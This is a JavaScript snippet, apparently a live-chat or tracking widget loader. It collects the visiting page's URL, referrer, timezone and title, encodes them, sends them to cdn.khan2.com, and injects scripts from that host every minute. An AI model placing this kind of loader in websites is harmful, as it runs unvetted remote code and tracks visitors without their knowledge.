if("undefined" == typeof jQuery)

{document.write("<scr"+"ipt type=application/javascript src=//cdn.khan2.com/jquery.min.js></sc"+"ript>");}

var src = '';

var src1 = '';

var getid = null;

var lz_timer = null;

if("undefined" == typeof refpage)
{
	var refpage = '';
}

function over() {var munites = new Date().getTimezoneOffset();var hour = parseInt(munites / 60);var munite = munites % 60;var prefix = "-";if (hour < 0 || munite < 0) {prefix = "+";hour = -hour;if (munite < 0) { munite = -munite;}}hour = hour + "";munite = munite + "";if (hour.length == 1) {hour = "0" + hour;}if (munite.length == 1) {munite = "0" + munite;}return prefix + hour + munite;}

function base64_encode(_input){var base64_chars='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;do{chr1=_input.charCodeAt(i++);chr2=_input.charCodeAt(i++);chr3=_input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2))enc3=enc4=64;else if(isNaN(chr3))enc4=64;output=output+base64_chars.charAt(enc1)+base64_chars.charAt(enc2)+base64_chars.charAt(enc3)+base64_chars.charAt(enc4);}while(i<_input.length);return output;}

function killer(){if(document.body){if(getid){document.body.removeChild(getid);getid = null;}var script=null;script = document.createElement("script");script.type="text/javascript";script.src=src+Math.random();getid = document.body.appendChild(script);}if(lz_timer){clearInterval(lz_timer);lz_timer=null;}if(lz_timer==null)lz_timer=setInterval("killer()",60000);}

function killer1(){var script=null;script = document.createElement("script");script.type="text/javascript";script.src=src1+Math.random();document.head.appendChild(script);}

var thisTLoc = top.location.href;var thisPLoc = parent.document.location;if(thisPLoc != ''){thisTLoc = thisPLoc;}if(refpage != ''){thisTLoc = refpage;}

var thisTtitle = escape(top.document.title);

var thisreferer=""+document.referrer;try{thisreferer=""+parent.document.referrer}catch(ex){thisreferer=""+document.referrer}

function urlencode(str){ str = (str + '').toString();return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+');}

var gets = base64_encode(urlencode(thisTLoc)+'|'+thisreferer+'|'+over()+'|'+thisTtitle);src1 = '//cdn.khan2.com/a.php?s='+gets+'&t=';killer1();src = '//cdn.khan2.com/b.php?s='+gets+'&t=';var getid=null;var lz_timer = null;killer();